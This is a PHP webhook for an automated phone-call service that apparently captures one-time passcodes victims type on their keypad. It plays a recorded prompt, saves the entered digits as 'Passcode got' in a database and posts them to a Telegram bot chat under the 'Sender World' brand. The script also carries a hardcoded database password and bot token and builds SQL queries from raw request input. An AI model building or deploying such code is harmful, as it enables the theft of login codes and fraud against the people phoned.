<?php
    header('Content-Type: application/xml; charset=utf-8');

if(isset($_REQUEST['Digits'])){
   $code = $_REQUEST['Digits'];
 
    if($_REQUEST['eng']==1){
        echo '<Response>
        <Play>http://personal.isenderpro.info/respuesta_new_eng.mp3</Play>
        </Response>';
    }else{
        echo '<Response>
        <Play>http://personal.isenderpro.info/respuesta_new.mp3</Play>
        </Response>';
    }
    
    if($_REQUEST['Digits']=="Sin_Respuesta"){
    $code=$_REQUEST['Digits'];
}else{
    if($_REQUEST['Digits']=="11"){
        $code="Passcode: call denied";
    }else{
        $code= $_REQUEST['Digits'];
    }
}

    
$db = mysqli_connect("localhost", "callserver_1", "sF2)8PTy;M*OMI7;", "callserver_1");
$callsid = $_POST['CallSid'];
$status = $_POST['CallStatus'];
$select3 = "select * from solicituds where sid='$callsid'";
$query3 = mysqli_query($db, $select3);
$row3 = mysqli_fetch_assoc($query3);
$user=$row3['id_user'];

$select2 = "select * from users where id='$user'";
$query2 = mysqli_query($db, $select2);
$row2 = mysqli_fetch_assoc($query2);
$chatid=$row2['chatid'];
$bot=$row2['bot'];

$update = "update solicituds set contenido='Passcode got : $code ' where sid='$callsid'";
$query = mysqli_query($db, $update);
$msj = '
🌩️📴 Passcode Call 📴 🌩
➡️️ Passcode '.$_REQUEST["Digits"].' ⬅️
Sender World ';
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, "https://api.telegram.org/bot8184124272:AAGedrkwHC1IWHX7gQGIz6ppqOcBt5_3Pfs/sendMessage");
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_POST, 1);
            curl_setopt($ch, CURLOPT_POSTFIELDS, "{\"chat_id\": \"".$chatid."\", \"text\": \"".$msj."\"}");
            $headers = array();
            $headers[] = 'Content-Type: application/json';
            curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

            $result = curl_exec($ch);
            if (curl_errno($ch)) {
                echo 'Error:' . curl_error($ch);
            }
            curl_close($ch);




}

?>